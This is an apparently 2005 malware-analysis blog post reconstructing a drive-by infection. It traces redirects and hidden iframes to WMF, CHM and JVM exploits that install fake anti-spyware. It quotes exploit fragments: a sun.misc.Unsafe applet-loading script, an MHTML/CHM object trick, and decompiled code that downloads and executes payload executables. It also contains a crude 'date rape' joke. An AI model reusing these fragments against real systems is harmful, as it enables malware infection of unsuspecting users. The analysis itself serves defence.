Red-Headed Browsers

Back Home

Last Updated: Saturday December 31, 2005

Michael Ligh (

This document is part of the Browser Attacks Anthology

Although browsers are not red-headed stepchildren, sometimes they are treated as such. The Browser Attacks Anthology displays an accurate depiction of this abuse, but it doesn't end. It's been a while since there have been new additions to this series and not much has changed it seems. It's a bit ironic, but although this event involves the 0-day WMF exploit, and the compromised system behaved in a manner consistent with the reported symptoms, it was not the vulnerability which led to initial infection. The machine was exploited by either a vulnerability in Sun's or Microsoft's JVM.

Before starting, I would like to discuss the law of search engine infection. There is a finite, and often very short period of time between when a user issues a query for their desired criteria and when their computer gets infected with malware by pursuing one of the results. This law is indirectly influenced by the web's inanimate degrees of separation. Though these principles have not been scientifically measured, they exist and grow more narrow each day.

A site hosts content that qualifies for the criteria you specify in your search query. The site partners with an affiliate that hosts different types of content - data that you are not interested with. When you visit the first site, you subsequently access the affiliate. The affiliate has it's own set of affiliates and you end up several degrees away from the site you initially and knowingly access. Somewhere along the way, one of the sites in the chain hosts offensive and malicious content, which ends up being parsed and interpreted by your browser. The Rollyo concept of custom search engines is a nice, because it limits the results to sites that you pre-configure.

The event described in this report occurred on the same day as the one detailed in Classic Trimode Exploit. In the earlier situation, Yahoo search was used to locate Smashing Pumpkins information. This time, Yahoo search was used to gather data on Alyssa Milano. This came after several safe hours of browsing material related to Catherine Bach and Stacy Haiduk. The user clearly defeated the odds of search engine infection, lasting such a long while; however a law is a law. Yahoo returned the following result, which the user clicked and began to start the circus.

Wed Dec 28 14:20:03 2005	 100    685 x.x.x.210 TCP_MISS/200 20451 \
GET - DIRECT/ text/html

In physical terms, this scenario is more like date rape than aggravated assault. The abuse that will follow as a result of the user's action was not consensual, however s/he did knowingly and willingly complete a step that otherwise would not have resulted in the outcome. In a humorous perspective, at least the user was searching for images of attractive females ;-)

In Investigating CHM Exploits, I described a method to parse through proxy logs and obtain all the same content that the machine in question accessed. This was done as a technique to preserve evidence (when the machine's cache was not readily available) for later analysis and event reconstruction. The same idea was used in this scenario, except with a slightly different set of commands. I just used bash instead of a separate Perl script this time. It was quicker and more accurate. With the proxy log (Squid default format), the following entry did the trick:

# for i in `awk '{print $7}' proxy_access_log.txt`; do wget $i; done

This was successful in gathering enough data to begin looking into the details of this attack. Taking a quick survey of the links within alyssa-milano-nude.html, the following URL stood out:

[script src=""]
[/script][h1]Alyssa Milano nude pics[/h1]

The site hosting the alyssa-milano-nude.html page is affiliated in one way or another with At the time of the access, resolved to - a US based address. The domain no longer resolves, hence the significance of the quick data gathering technique above. The is still available, however. It resolves to - another US based address owned by the same organization (InterCage, Inc).

So the a.php page outputs javascript which instructs the browser to change locations using the following simple directive:

var url = document.location + "";

Although we've already got copies of the files, I thought it would be interesting to pull down's output without any special arguments. The script apparently is coded for redirection to Google if this is attempted:

$ wget
           => `'
Connecting to||:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: [following]

So, by taking sample code from the a.php page, I was able to build a query that would invoke a response from I simply had to pass it the niche, page, and ref variables (which any browser would have done automatically). This resulted in 302 Moved Temporarily messages also, however it only looped through different servers in the domain until finally downloading "index.html?celebsf+" from The following wget session shows this silly and confusing network of browser ping pong:

$ wget ""
           => `'
Connecting to||:80... connected.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: [following]
           => `rc.cgi?niche=celebsf'
Reusing existing connection to
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: [following]
           => `index.html?celebsf+'
Reusing existing connection to
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

    [ <=>                                              ] 35,832        --.--K/s             

19:15:12 (363.85 KB/s) - `index.html?celebsf+' saved [35832]

This HTML page contained critical information for the attack. A javascript function about half-way down the page contained several functions with obfuscated code. There are a million and one ways to do this and each one is unique. Rather than decorate my report with this code, it's available in a separate file, slightly disabled to prevent it from being used against others. In summary, the bXEHMT() function once decoded was a function itself. It was to further obfuscate the rest of the data. Here is the string that bXEHMT() returns:


The purpose of the second function, fODMSJ(), is to print an iframe to the document (remember the degrees of separation!) and send the browser to both and Here is the final output of the combined functions:

WIDTH=0 BORDER=0 HEIGHT=0 style="display:none"][/IFRAME]
WIDTH=0 BORDER=0 HEIGHT=0 style="display:none"][/IFRAME]

At the time of this writing, both * domains resolve to, in the Ukraine. Before following these URLs, the index.html?celebsf+ page isn't through smacking the browser around from country to country. Another iframe directive uses HTML encoding to obfuscate it's destination. A copy of the code is below and it ultimately points to

[iframe src="&#104;&#116;&#116;[...];" width=1 height=1][/iframe]

The domain name was allegedly registered by Alexander Pushkin of the Russian Federation. The obviously forged information reports that Alexander's home is at Pushkina Street in an area that has a postal code of 123456. The domain's WWW A record resolves to, which is registered to SPB Network in Russia. Nevertheless, this server is a component of the organized Internet crime unit (visiting the web page shows the logo and also pulls an iframe from them). The site hosts and distributes, among other malware, the 0-day Windows WMF exploits (see Microsoft's Advisory).

This shows how quickly the organization responds to new vulnerabilities and the adjustments they employ to take advantage of it. In the same section of code as the iframe for WMF content, there are two additional URLs commented out with the remark "#old"

[iframe src="" width=1 height=1][/iframe]
document.write("[iframe style='display:none' src=''][/iframe]")

This code was of course obfuscated with HTML encoding and the javascript String.fromCharCode() function. Not only does the organization keep a keen eye open for new vulnerabilities, but they closely monitor the status of their distribution nodes. When one goes down (, they comment out the pointer and add a fresh one (

So, back to the * domains. This is where the browser is currently being sent during the exploit reconstruction. Consulting the proxy logs from the real event shows that this interaction is all accurate. Remember this is all happening very fast and without the user's knowledge. It's been less than 3 seconds since the alyssa-milano-nude.html file was accessed.

Well the purpose of is to redirect the browser to At this location, the output is more redirection, to no where besides the original Ukraine network:

[iframe src="" width=0 
border=0 height=0 style="display:none"][/iframe]

The purpose of this inp.php page is to make the browser fetch another WMF exploit. Inside wmf_dcode.htm is the instruction to download wmf_dcode.wmf.

[iframe src='' border=0 \
width=0 height=0][/iframe]

There is now a good understanding of the interaction with Obtaining the WMF file was it's entire purpose in life and that end has been reached. The abuse is not over yet, though. If, out of the two * domains, the one just discussed is the "cleaner" version, I wonder what the "full" site does. It does quite a bit, in fact. The page sends the following output to the browser:

    * {CURSOR: url("full.anr")}
[body onLoad="welcoms()"]
[script language=javascript]
function welcoms()
    var unsafeclass = document.mAnima.getClass().forName("sun.misc.Unsafe");
    var unsafemeth = unsafeclass.getMethod("getUnsafe", null);
    var unsafe = unsafemeth.invoke(unsafemeth, null);
    var chenref = unsafe.defineClass("omfg", document.mAnima.luokka, 0, document.mAnima.classSize);
    var chen = unsafe.allocateInstance(chenref);    
  } catch (d) 
[applet code="Anima.class" name="mAnima" height=1 width=1]
[iframe width=0 height=0 border=0 style=visibility:hidden \

This is documented at on the Mulling Security Blog and will be described in more detail shortly. For now, it's enough to know that the browser fetches full.anr which exploits the MS05-002 vulnerability and Anima.class and omfg.class. Furthermore, it pulls yet another iframe named indexit.php from a different path on the same server. This indexit.php file simply the classic trimode exploit, which uses the (previously discussed) MS05-002, MS03-011, and MS04-013 vulnerabilities. In fact, it adds another component by including more iframe tags to ieot.php. Unfortunately, this file is blank and cannot be analyzed at the moment.

    * {CURSOR: url("psg.anr")}
[body id="occ" style="behavior:url(#default#clientcaps)"]
var d = document;
var V = occ.getComponentVersion("{08B0E5C0-4FCB-11CF-AAA5-00401C608500}", \
if (V) {
    document.write('[applet ARCHIVE="jar.jar" CODE="Counter.class" \
    WIDTH="1" HEIGHT="1"][/applet]');
d.write('[iframe width=0 height=0 border=0 style=visibility:hidden \
try {
    d.write('<object data="&#'+109+';s-'+'its:mh'+'tml'+':'+ \
    'file://C:\\MAIN.MHT'+'!h'+'ttp:// \ 
    " type="text/x-scrip'+'tlet"][/object]');
} catch(e) {}

The browser would go on to fetch psg.anr, jar.jar, Counter.class, and main.chm. If vulnerable, the system would then interpret and execute the given code in an insecure manner. Interestingly, all of the content supplied by so far shares a single motivation. This becomes clear by first decompiling the Anime.class and omfg.class files with the fantastic jad tool. Once the class files have been reversed to Java source code, it's evident that the purpose is to fetch, save, and execute psj.exe:

fetchFile("", "c:\\psj.exe");

The jar.jar archive is compiled of code with similar functions. Included in the mix are 5 more class files and an executable named web.exe:

# unzip jar.jar 
Archive:  jar.jar
  inflating: Counter.class           
  inflating: Gummy.class             
  inflating: VerifierBug.class       
  inflating: web.exe                 
  inflating: Worker.class            
  inflating: Xeyond.class  

Web.exe and psj.exe are both 35328-byte UPX packed Windows PE executables. They share an md5sum value of 453ebbe8de81bc687180231dc5612ece, which means they are the exact same file. The only difference between the two blocks of code above (the ones that contain full.anr and psg.anr) is the methodology used to load the executable. The first method accesses two class files and then makes a subsequent HTTP request for psj.exe - it is ultimately directed at Sun's JVM. The second method accesses a jar archive instead and comes packaged with web.exe, where it is decompressed and executed (see below). This method is directed at vulnerable versions of Microsoft's JVM.

# grep web.exe *.jad
Worker.jad:        DecompressFile("web.exe", s + "\\web.exe");
Xeyond.jad:        Runtime.getRuntime().exec("C:\\web.exe" + s);

So to understand the real objective of this, we would need to find out what the web.exe/psg.exe and two WMF files do on the compromised system. Starting with the executable(s), it's primary purpose is to install more spyware and other programs - namely the fake anti-spyware/virus program Winhound (see SANS ISC Diary 972). This was identified by running the file on vmware and monitoring the outbound traffic. The following screen shots show the result of this action (it looks the same as Websense Security Lab's screen shots).

image n/a

image n/a

The infected machine that we began investigating was indeed infected by one of these three files - and due to file type filtering on the HTTP proxy, it was not the .wmf. However, the attack was performed from multiple angles and by using a variety of methods. The same payload (installing Winhound and trojan droppers) was successfully executed on the system, by way of either a vulnerability in Sun or Microsoft's JVM (the machine was reformatted by the owner before this investigation could take place, so the answer is unknown). This was decided upon because .anr, .chm, and .wmf files are blocked by the HTTP proxy.

A recent Internet Storm Center Diary discusses how the WMF files do not actually need to have a .wmf extension in order to be rendered correctly (perhaps I mean incorrectly?) by Windows. Theoretically that would mean that there is still a chance that this machine was infected with the 0-day WMF if it downloaded a rogue .jpg, .gif, .png, etcetera. However, from the wget loop earlier, I have copies of all the images accessed by the machine. Just to be sure, I thought I would check those files by doing a quick scan of the files with image extensions and checking for the legitimate header. For example, JPEGs should start with d8ff or ffd8 (depending on endian sytle), so we could use the following:

# for i in `ls *.jpg`; do hexdump -n 5 $i | egrep -v ffd8 | egrep -v 00005; done

This turned up two results - m.jpg and y.jpg from and, respectively. This is the same domain and the same technique used in Turning JPEGs Into DLLs.

This is just another example of the hardship in defending machines. There are an infinite number of ways to potentially compromise a system; defenders need to protect against them all, but attackers only need to find one. As an addendum, I'll post a list of domains that were accessed after this infection so that others can put them on a blacklist. For now, it's time for a New Years party!